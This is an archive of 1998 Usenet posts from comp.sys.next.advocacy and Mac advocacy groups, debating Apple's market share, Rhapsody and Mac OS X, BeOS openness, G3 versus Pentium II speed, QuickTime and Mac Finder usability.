> I dont think the truth is even THAT good.
Forget marketshare numbers for a moment and look at sales. Apple's sales
had been declining for a while. That trend has been largely stopped and is
currently in a flat state. We may have hit the bottom of the curve and are
headed towards sales increases, but as of yet have not had them.
Apple sold 6,000 fewer computers this quarter than last. That is a
relatively small change particularly when you consider that supplies
of some of Apple's products (notably the new PowerBooks) were constrained.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q: NEXT tech, MacOS X & Industry Challenges
Date: 27 Jul 1998 16:04:45 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pi8et$9jh$1@nnrp03.primenet.com>
References: <uPDu1.32112$Bw1.855898@news.san.rr.com> <6pi0rh$oa4$1@nnrp02.primenet.com> <6pi5ur$8pn$1@nnrp03.primenet.com> <6pi757$63d@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: John Jensen <jjens@primenet.com> wrote:
: [OpenDoc and the Web]
: A web-page **is** a "light-weight" compound document. [...]
I told 'me that in comp.soft-sys.middleware.opendoc back in '96, they
(OpenDoc advocates) didn't want to believe it:
From 1996/12/31:
"I think this is one of the most interesting questions of our day. I like
to compare and contrast OpenDoc and HTML. While these two things are very
different on the inside, they cover roughly the same problem domain -
creating and sharing composite documents. OpenDoc was designed as a
complete solution, while HTML was designed as just enough to get the job
done. It is very intersting to consider why one caught on like wildfire
and one languishes. I think there is more than one answer, but it bears
considering.
For software designers it raises the question of how to Design For
Acceptance."
John
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-LqHtQgYcutcv@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6peuo4$3d2$1@ironhorse.plsys.co.uk>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 27 Jul 1998 16:11:35 GMT
Organization: IBM.NET
On Sun, 26 Jul 1998 10:00:36, mmalcolm crawford <malcolm@plsys.co.uk>
thought aloud:
> In <FIiROLCWddLd-pn2-BxfPX9XHOycJ@localhost> taiQ wrote:
> > Huh? 386's had been off shelves for years by '95, even 486's were
> > getting very rare. '95 was well into "Pentium" era. What's the
> > relevance of all this? This Rhapsody / Mac OS X issue is about
> > Apple, a one-stop shop, going back on their word that last year's
> > plenty powerful PCI PowerPC Macs would run the long-awaited modern OS
> > (which would also make them run more efficiently than with the legacy
> > "Classic" Mac OS).
> >
> As far as I'm aware MacOS X Server, aka Rhapsody, will run on all the
> machines Apple promised it would run on. Thus Apple is not reneging on its
> promise.
Meaning all (Apple) systems shipping on or after January 7, 1997 would
be compatible with Mac OS X? This would be very good news, but is it
reliable, i.e. any Apple-originated references to that effect?
> > Considering Rhap.. Mac OS X Server is going to be stop-gap solution,
> > and quite likely *Server* priced,
> >
> How do you know?
About it being stop-gap solution? Isn't that quite obvious? For one
thing Rhapsody (aka MOX) will never get the Carbon layer that is all
that Apple is talking about.
Or it being "quite likely 'Server' priced"? I don't _know_, of course,
but it is called a "Server" after all; and the way everybody else
prices their server versions, or how Apple has historically priced
theirs (huh!) just provided me some possible guidelines what _may_
come to its pricing.
> > what are the chances that anyone
> > would even bother to compile for it when the real future OS, "Mac OS
> > X" is released?
> >
> Very high indeed. We certainly will, and I know a number of others who are
> progressing with other projects as fast as they can. Note also that MacOS X
> Server will be the first all-Apple platform for WebObjects.
This we will have to wait and see. A lot of course depends of the
pricing of the early "Server" version and its compatibility (i.e. size
of available market). I would be very pleasantly surprised if the
YellowBox market got a decent kickstart with widely-adopted Rhapsody
(aka MOX).
> > The solution, of course, is for Apple to stop forcing ultra-early
> > obsoletion and instead adding the real Mac OS X support for the
> > Powermacs which they can do without major tears.
> >
> That's the issue -- I'm quite sure Apple could support the plethora of pre-G3
> systems, however what's the cost? As far as I can tell, too great.
So what is your private estimate of the cost of supporting the pre-G3
systems, at least those sold in the perceived Rhapsody-compatibility
era from January '97 onward?
And how would you estimate the "benefits" of not having customers
feeling shafted by the current change in policy? Or the benefits in
helping the YB platform get off the ground (supposing that the YB
strategy is only delayed by some years and not totally abandoned)?
Couldn't the Mac OS 9 development effort be spent into widening Mac OS
X hardware support instead?
Is the balance sheet still significantly against pre-G3 support?
Brgds,
--
taiQ
[this space is intentionally blank]
From: "Jay Riley" <datamagik@usa.net>
Newsgroups: comp.sys.be.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
Date: 27 Jul 98 10:03:11 -0600
Organization: University of Colorado at Boulder
Message-ID: <B1E200E6-9894@128.138.177.193>
Mime-Version: 1.0
Content-Type: text/enriched; charset=macintosh
Content-Transfer-Encoding: quoted-printable
nntp://news.colorado.edu/comp.sys.next.advocacy,
nntp://news.colorado.edu/comp.sys.mac.advocacy
>From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
>Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.a=
dvocacy
>Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
>Date: Sun, Jul 26, 1998, 10:56 AM
>
>On 07/26/98, "Jay Riley" wrote:
>>
>>Yes, Yellow is multiplatform, BUT it contains much Apple/NeXT
>>proprietary ways of doing things which might be harder to use on
other
>>systems without a legal battle with Apple. Be seems to make heavy
use
>>of GNU and other "open" standards which lends itself to more
>>transportable code (ties in very nicely with development on Linux
and
>>other GNU-like systems).
>
>I think you have that backwards. ;)
>
>NeXTSTEP/OpenStep uses far more open standards than BeOS does.
>
>NeXTSTEP/OpenStep is based around a BSD Unix/Mach OS, BeOS is
>completely proprietary, but supports the POSIX APIs to some extent.
If you count the class library, yes that is proprietary. But as far as
I can tell, almost anything that compiles on a POSIX system (or a GNU
or Linux system) will on BeOS as well.
>From what I've seen so far it looks to draw a lot from GNU.
>The drawing model for NeXTSTEP/OpenStep is Display PostScript. BeOS
>has it's own proprietary imaging model.
Postscript is a proprietary Adobe technology. Actually it was one of
the
things I was thinking of when I refered to Rhapsody being more
proprietary.
Be's imaging model looks like QuickDraw brought into the 90's. And as
I
understand it you can use OpenGL as well.
If BeOS is so proprietary why are Amiga-philes and
GNU/Linux/open-standards
buffs so drawn to it? I think you'd be surprised at the amount of
openstandards stuff that's making its way over to BeOS, AND at the
number of familiar MacOS names coding for that platform.
Please don't take offence but it's ludicrous to call NeXTSTEP "open".
It uses a lot of recognized standards, but all in all I believe Be
edges it out on openness.
>The Mach-O executable format on NeXTSTEP/OpenStep is openly
documented,
>BeOS uses the proprietary PEF format on PowerPC, and the PE format on
>x86 (which isn't necessarily proprietary, but really only used on
>Windows systems).
Hmmm...haven't studied the issue in great depth, but was under the
impression that the PEF format was pretty standard for PowerPC. What
did the
POWER RS/6000's use?
>NeXTSTEP/OpenStep uses the GNU compiler, for which everything is
>available, including source code. BeOS is reliant on the Metroworks
>compilers, for which there is no source (obviously). I don't know if
>everything about the Metroworks compiler output is documented,
however,
>to date it is still impossible to use the GNU compiler on BeOS for
>anything but code that sticks to the C APIs on BeOS - and on PowerPC
>you still have to use the Metroworks linker.
Actually many of the tools shipped with BeOS were compiled using the
GNU
compiler. True, the GeekGadgets version requires the Metrowerks
linker, but
that's a matter of someone creating/porting a linker.
>If you want to argue that using Objective C is doing things in a
>proprietary way, I suppose you could do that. However, IMHO it's no
>more proprietary than being stuck with a single compiler vendor as
BeOS
>is.
Again we're NOT "stuck with a single compiler vendor" if we have GCC.
Arguably it would be nice if we had more devtool choices, but
personally I
think CodeWarrior IDE is insanely great. And since it's only $129 from
Be
I'm not complaining just yet.
Regards,
Jay
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 datamagik@usa.net
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 09:22:29 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2707980922290001@sf-usr1-17-145.dialup.slip.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net> <joe.ragosta-2707980627030001@elk49.dol.net>
In article <joe.ragosta-2707980627030001@elk49.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > But Joe, they are STILL losing market share. The MacOS is not growing, unit
> > shipments are growing.
>
> But George, this is not true.
>
> Apple lost market share for a long time. But the most recent reports in
> _overall_ market share, retail market share, and educational market share
> all show an increase from the earlier quarter.
>
> Now, you could argue that this is unsustainable (and you have). You could
> argue that it's too small an increase to matter (and you have). You could
> argue a lot of things--most of them harder to refute. But your continued
> insistence that the Mac is still losing market share is wrong, at least
> according to the most recent reports.
I give up.
George Graves
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: Mon, 27 Jul 1998 16:18:05 GMT
Organization: KU
Message-ID: <35bca6cb.162577578@198.0.0.100>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net>
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On Mon, 27 Jul 1998 00:50:34 GMT, Harrison Murchison
<murchy@bellsouth.net> wrote:
>It's Ironic that some of you smirk at a "30%" advantage. Keep this in mind, with a
>30% advantage a 3D rendering job that takes 3 hours on a PC would take 2 hours on a
>G3 mac. Isn't that worth a little more money?
It is ironic. Given that the G3 "might" be 30% faster per Mhz than
the PII (the G3 I use isn't), and that the fastest currently shipping
Wintel is clocked 33% faster than the mac then it would appear that
macs and PCs are just about even. Well, it would appear that way
until you start talking about Xeons and Dual processor Wintel
machines. Add those into the mix and apple comes out the loser- as
usual.
Hell, given your 30% estimate, my 10 month old dual PII is STILL
faster than anything apple can build.
Nathan A. Hughes
MFA Candidate
The University Theatre, KU
http://scenedesign.home.ml.org
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q: NEXT tech, MacOS X & Industry Challenges
Date: 27 Jul 1998 16:21:00 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pi9dc$qf8$1@nnrp02.primenet.com>
References: <uPDu1.32112$Bw1.855898@news.san.rr.com> <6pi0rh$oa4$1@nnrp02.primenet.com> <6pi6bt$61j@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: >I don't see a reason to concentrate on an OS promised for
: >delivery a year from now, not when there are so many interesting things
: >going on in other areas.
: Having been burnt by Java on Solaris, I now want my next generation software
: written for quality and not for being first in the marketplace.
Sun has succeeded in stringing me along with Java. I'm not real happy
with the state of things, but there has been enough on the horizon to keep
me around. JDK 1.2 is the same old story: much-needed APIs in an unstable
Beta.
Sun has blazed a bit of a new trail with Java development and roll-out.
We (outside developers) get the rewards (early releases) and pain
(buggy releases) normally reserved for the inner few.
To contrast, Apple does seem to want to keep things inside until they are
done. If every thing works out, there will be less pain for the
developer. But there is great risk for Apple. The lack of feedback means
that they can't be sure they are building the right thing.
You mention in another thread that Apple could have invented the web. I
submit that they could not, because they look for complete solutions ...
and then code them for three years in isolation. Remember AppleGuide?
That one technology alone should prove the case.
My conclusion is that the open process (even with its pain) is ultimately
the safer route ... and from a purely strategic standpoint it wins
hands-down.
John
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Q: NEXT tech, MacOS X & Industry Challenges
Newsgroups: comp.sys.next.advocacy
References: <uPDu1.32112$Bw1.855898@news.san.rr.com> <6pi0rh$oa4$1@nnrp02.primenet.com> <6pi5ur$8pn$1@nnrp03.primenet.com>
Message-ID: <35bcaa15.0@news.depaul.edu>
Date: 27 Jul 98 16:25:57 GMT
John Jensen <jjens@primenet.com> wrote:
> In my view, Apple has made this mistake with long lead-time projects
> before. Things like OpenDoc sounded cool in the early announcements, but
> when they finally arrived they were a) sub-optimal implementations and b)
> no longer interesting. Component documents were still cool, but not as
> cool as the web. Apple overshot the market. They could do it again.
This seems to be Microsoft's problem this time, not Apple's. I
don't believe "killer 3D" is useful enough, to enough people, to
be more than a curiosity.
--
To email a reply, write to jon at exnext dot com
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: Mon, 27 Jul 1998 11:47:49 -0600
Organization: Stone Entertainment
Message-ID: <stone-2707981147570001@rc-pm3-1-26.enetis.net>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net> <Macghod-2607981933110001@sdn-ar-001casbarp068.dialsprint.net>
In article <Macghod-2607981933110001@sdn-ar-001casbarp068.dialsprint.net>,
Macghod@concentric.net (Steve Sullivan) wrote:
> In article <35BBF9FA.5869D6D3@bellsouth.net>, murchy@bellsouth.net wrote:
>
> > It's Ironic that some of you smirk at a "30%" advantage. Keep this in
> mind, with a
> > 30% advantage a 3D rendering job that takes 3 hours on a PC would take 2
> hours on a
> > G3 mac. Isn't that worth a little more money?
(snip)
> Then, you can satisfy your rabid pro apple ways by bragging about how a g3
> powerbook smokes a p2 notebook in speed AS WELL as price/performance. At
> least it will be the truth, and you can continue your rabid pro apple ways
Getting a little hot under the collar there Steve? But you definitely
have a point with this guy. Price/Performance wise PC's have always been
ahead of Macs.
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: erick@sfu.ca (Erick Bryce Wong)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
Date: 27 Jul 1998 17:40:21 GMT
Organization: Simon Fraser University
Message-ID: <6pie25$96h$1@morgoth.sfu.ca>
References: <6pd5ou$p7t@newsb.netnews.att.com> <35c0bc2f.102516765@198.0.0.100> <6ph7vq$gpe$1@morgoth.sfu.ca> <35bda941.163206843@198.0.0.100>
nate <nhughes@sunflower.com> wrote:
>When I edit, I edit mjpg based AVI files. When I edit video on
>systems without a mjpg card I use any of the other 10 AVI codecs
>available. When I edit sound, I edit wav files. Zero need for
>quicktime.
So if QuickTime is an "also-ran", then what do you call its cheap
knock-off AVI? I'll go out on a limb and also say that QuickTime can
be used as an extensible image/audio/video import library, would you
consider that to be useful?
>Who cares what apple demos. M$ already has a viable real-time webcast
>solution available for free download. Lots of other companies do too.
>Apple does not.
It clearly has an impact on your prediction that they would probably never
have one. In fact QuickTime Conferencing (renamed QuickTime Streaming) was
released as a beta roughly two years ago. Of course the codecs back then
were less practical... :)
>>An interesting statistic from the month of March. QuickTime was the
>
>Who came up with the statistic? Let me guess... apple. They
Bzzzt! You're a fool if you think Apple can keep track of what PC owners
install on their machines. I'll try to dig up the reference for you. I
think the company was called Media Metrix and they had some program that
spied on your application usage. But the QuickTime figure is probably in
the owned, rather than used category. (To turn around an old phrase, why
would so many people have it if it wasn't any good? ;)
>probably think my 3 systems have QT since I gave the latest version a
>try when it came out. Of course, they will ignore the fact that I
>(and probably lots of PC users) uninstalled it once we found just how
>useless it really is.
This is like saying Netscape is useless because IE comes with Windows.
And don't try to tell me there isn't a lot of QuickTime content out there
for people to peruse. I have no knowledge as to whether QT is required
to view them, but many people would download and use it regardless.
-- Erick
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
Date: Mon, 27 Jul 1998 16:31:04 GMT
Organization: KU
Message-ID: <35bda941.163206843@198.0.0.100>
References: <6pd5ou$p7t@newsb.netnews.att.com> <35c0bc2f.102516765@198.0.0.100> <6ph7vq$gpe$1@morgoth.sfu.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On 27 Jul 1998 06:50:34 GMT, erick@sfu.ca (Erick Bryce Wong) wrote:
>MPEG and RealVideo don't address video editing, so if all you care about
OK, I'll buy that.
>is watching MPEGs of various types, then fine. Some form of realtime
When I edit, I edit mjpg based AVI files. When I edit video on
systems without a mjpg card I use any of the other 10 AVI codecs
available. When I edit sound, I edit wav files. Zero need for
quicktime.
>broadcasting in QuickTime was already demoed at WWDC. File sizes are
Who cares what apple demos. M$ already has a viable real-time webcast
solution available for free download. Lots of other companies do too.
Apple does not.
>entirely dependent on the codec (and MPEG is one of them).
>
>An interesting statistic from the month of March. QuickTime was the
Who came up with the statistic? Let me guess... apple. They
probably think my 3 systems have QT since I gave the latest version a
try when it came out. Of course, they will ignore the fact that I
(and probably lots of PC users) uninstalled it once we found just how
useless it really is.
Nathan A. Hughes
MFA Candidate
The University Theatre, KU
http://scenedesign.home.ml.org
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 11:43:17 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980727112448.21442C-100000@ux7.cso.uiuc.edu>
References: <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <1dcrv9l.wtv1wr1idgbl2N@hoorn02.multiweb.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <1dcrv9l.wtv1wr1idgbl2N@hoorn02.multiweb.net>
On Sun, 26 Jul 1998, Dennis SCP wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Put Away is another way of unmounting and ejecting a disk. Why is it
> > called "Put Away" and why is it under the file menu? That doesn't make
> > much sense either (for mounted volumes anyway).
>
> I think it's just a legacy thing, let's hope it's solved in Mac OS X.
Put Away actually does provide a useful function. Try dragging a dozen
files scattered about your hard drive to the trash. You want to put them
back? You don't have to remember where everything was, just select Put
Away. Have you moved a file somewhere you didn't really want to, but don't
want to go to the trouble of manually putting it back, use Put Away.
It's a great thing. It's just not terribly intuitive as a disk eject
mechanism (by itself).
> > I've never used GoMac. I don't think that Apple should be relying on 3rd
> > parties to fix its UI flaws.
> >
> > The NeXT application tiles were nice. Something like that with a name on
> > the tile might be a good solution. The foreground application's tile
> > should be obviously different (in such a way to indicate that it is the
> > foreground). Windows' taskbar is okay. It could be better though. Apple
> > could create something better.
>
> I think it's more a personal thing then just a flaw. Just think about
> the Next discussions about using more screenspace for showing which is
> the active program.
The NeXT solution wasn't necessarily good either. I just thing it better
addresses the issue than the Application Menu does now.
> > > But is this a UI fault? Well, if you claim GetInfo should be able to let
> > > you fix it then, yes it is. But the way types work (pretty good, but not
> > > perfect) is not a UI issue.
> >
> > Yes it is a UI fault! The user should never have to interact with this
> > portion of the file system. As I've suggested before, something that would
> > leapfrog both the Mac OS way and the Windows way would be to actually poke
> > into the file and determine its type. I'd bet this could be done. There
> > would be no reliance on codes or the file name determining the type of the
> > file. The type of the file is already defined by the contents of the file
> > itself.
>
> That would be slow and a full of faults. (Many data structures are
> similar but must be interpreted differently).
I don't think it needs to be slow or full of faults. Computers are getting
very fast and I'd bet a system of discerning the type based on the
contents of the file could be come up with.
What data structures are similar but handled differently? There are
obviously differences that allow a program to work with the different file
appropriately.
> This must be standardized
> worldwide, we need an ISO standard on Header definition, submission and
> header database distribution. So that all systems can recognise data
> formats and get translation instructions from dedicated internet
> databases.
That would be okay I suppose. I was thinking of something much less global
in scope. Applications could register the file types they can open.
Perhaps this registration would mean having a bit of code that goes
through a file in an effort to see if it is a supported type. The OS would
just use that code to test the file.
If it is an unrecognized type or if the file type is not specifcally
recognised, then the OS could prompt the user with a list of most likely
apps that could open it.
> > > - You must hold command to keep windows from poping to the foreground
> > > while moving. This is unnessesery as clicking windows to the front is
> > > more logical.
> >
> > I'm not sure I understand this one. It's the addition of that second
> > sentence that isn't clear to me.
>
> I just want to move a window in the background (Without a modifier key).
> If I wanted it to the front I would have clicked it first. (And then see
> the location isn't ideal and start moving it.)
That might be a good idea.
> > > - When windows are auto-opening moving away from the collection of
> > > windows closes them all. This is stupid as one Window can obscure all
> > > other windows, which makes moving back one window an impossibility.
> >
> > It's not exactly stupid. It's caused by opening the window centered on the
> > pointer. A greater effor might be made to keep background windows open,
> > but they shouldn't be moving around to do this since the user should be
> > able to go back to a particular level and not have to search for it since
> > it moved out of the way.
>
> But they are still open, just not always accesible. Maybe it was to much
> trouble to move each window a few pixels to the side. But atleast they
> could have programmed a double time delay, at first only the last opened
> window should close. I tried it: Move away after you opend the wrong
> window and quickly move back on top of the stack. But no, all those
> windows keep collapsing until your back at the start. It realy makes you
> depressed as you acualy see ALL the windows closing, you can do nothing
> about it and as they close, one by one, you realise you must open them
> all again. (without making the same mistake in the end, ofcourse.)
A short time delay between window closings might be a great idea. That way
all the windows could close in a cascade that could be stopped by the
user by putting the pointer in one of those windows.
> > No undo in the Finder except for file renaming. (This is a big one I
> > think.)
>
> This is too big. Like making everyting speech controlled you must create
> a fully implemented API to create undo or you'll end up in more
> frustration because as soon as you think it's there you'll find out it's
> not available everywhere. (Mac OS X has rumors of an undo framework)
Wouldn't there be a way through the use of scripting events? Those are
already available. All Apple would have to do is trap the last event (file
move, deletion, copy, renaming, or whatever) and use that as an undo. I
dunno.
> > No quick way to get to higher level folders in the heirarchy if their
> > windows have been closed. (Yeah. I know command-click on the title...
> > that's not good enough).
>
> Contextual closebox anyone?
Nope. I don't want a contextual thingy. I want a widget somewhere on or in
the Finder window. Surely there's a solution. A contextual method would be
fine in addition to this, but I want the widget.
> > No reorderable or resizable list views. I prefer to have the Size
> > column first, then Kind, then Date. I can't do that with Mac OS 8.
>
> Already in the works:-) Mac OS 8.5 (but name must be the first column.)
Great! (I don't care about the name column. That can stay where it always
is.)
> > Clicking and dragging the resize tab of a background window moves the
> > window (not resizes it).
>
> Hey, you sniped that one.
<innocently> Did I? (Really! Did I?)
> You forgot not being able to scroll background
> windows :-) I believe you should also be able to scroll a background
> window just by moving around the contents (gimme that hand pointer).
> Windows should only pop to the foreground with a single click.
Yes, I think that would be a good thing.
> > Can't script TCP or PPP configuration change.
> >
> > The configurations for TCP and PPP are in two separate Control Panels.
>
> Both comming up, I heared
Great!
> > There are a whole slew of things relating to multitasking which I won't
> > mention since Rhapsody and Mac OS X are supposed to fix them.
>
> An Object Orientated enviorment with decent frameworks can prevent many
> of the small inconsystencies.
<sigh> Here's to hoping Mac OS X Server won't be hideously expensive.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 09:50:18 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2707980950190001@sf-usr1-17-145.dialup.slip.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35BAB09C.F8830004@nstar.net> <6pg1av$5vr@news1.panix.com> <35BB8E53.DC3C13C4@nstar.net>
In article <35BB8E53.DC3C13C4@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Sal Denaro wrote:
>
> > You missed my point. The moderate success of the cloners dosn't change the
> > fact that Apple had a hard time getting cloners in the first place. They
> > heavily subsidized PowerComputing in the early days.
>
> An isolated example, and a short-lived one. Gateway 2000 reportedly
> approached Apple on several occasions to gain a MacOS clone license and
> was rebuffed every time. This happened before the cloning program began.
The last time was after Power Computing was becoming successful. Apple
(Spindler) chose not allow Gateway a licencec because two of his underlings
didn't like the idea (that's right, only two). The reason given the press was
that Apple couldn't, at that time, support the numbers (with chipsets) that
Gateway was forcasting without leaving themselves and the other cloners
short. The REAL reason was because the two dissenters in Spindler's ranks
were afraid, that by selling mail order, Gateway would so undersell Apple
as to make Apple's prices (and margins) look ridiculous.
> At the same time, MacUser or MacWorld reported that Apple was turning
> away droves of Taiwanese and Korean companies who expressed similar
> desires to clone the Macintosh. The article suggested, on the basis of
> Apple sources, that the cause was more than just close-mindedness:
> apparently there were rumors of anti-Asian racism in upper management.
If this is true (and I've never seen this mentioned before. In fact, I've never
heard that there were "droves of Taiwanese and Korean companies" wanting to
clone the Mac.), It wasn't racism, its was fear of eroding profit margins from
cheap Tiawanese and Korean clones. Apple was like the guy who runs down the
beach sticks his big toe in the water, shivers, and then runs back up the beach.
They tried cloning by granting a few licences, then decided that they
didn't like
that water, and retreated. Apple's entire on again, off again brush with cloning
has always pivoted on a single point: "Cheap clones will undermine our own
business; both from a standpoint of overall sales, and margins."
>
> There have been unconfirmed rumors from every quarter that many
> companies approached Apple seeking licenses and that Apple turned away
> every comer.
This is probably not true. If it were, Jim Carlton would have documented
it in his book. Jesus, every other skeleton in Apple's immense closet is
put under the spotlight by Carlton. Why would he ignor this?
George Graves
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 27 Jul 1998 18:04:37 GMT
Organization: Primenet (602)416-7000
Message-ID: <6piffl$amt$1@nnrp03.primenet.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu>
<andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au>
Christopher Smith <drsmithy@usa.net> wrote:
: This is another problem I've noticed (and griped about) multiple times.
: Every time I sit down at a college Mac, they are always bogged down and
: running slowly - a quick glance at the applications menus shows just about
: every program installed on the machine up and running - purely because 90%
: of people (statistic from quiet background observation - ie I sit next to
: people and watch em out of the corner of my eye) close the last window with
: the "close" box, and then don't realise the application is still running.
I have become skeptical over they years of Apple's much praised Human
Interface Studies. Every few years they do a study that says ... guess
what? The old Mac way is the best. I too have seen many dead slow Macs
with a dozen applications running. You'd think that a study of actual
user behavior would discover this, and Apple would fix it. That they do
not, proves to my skeptical mind that Human Interface Study has moved to
the realm of marketing.
John
From: jason@jhste1.dyn.ml.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: cmsg cancel <slrn6rpc0c.lms.jason@jhste1.dyn.ml.org>
Control: cancel <slrn6rpc0c.lms.jason@jhste1.dyn.ml.org>
Date: 27 Jul 1998 17:00:01 GMT
Organization: MindSpring Enterprises
Message-ID: <6pibmh$1f0$1@samsara0.mindspring.com>
ignore
Article canceled by slrn 0.9.4.6
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 11:10:36 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pigcv$51e$1@plo.sierra.com>
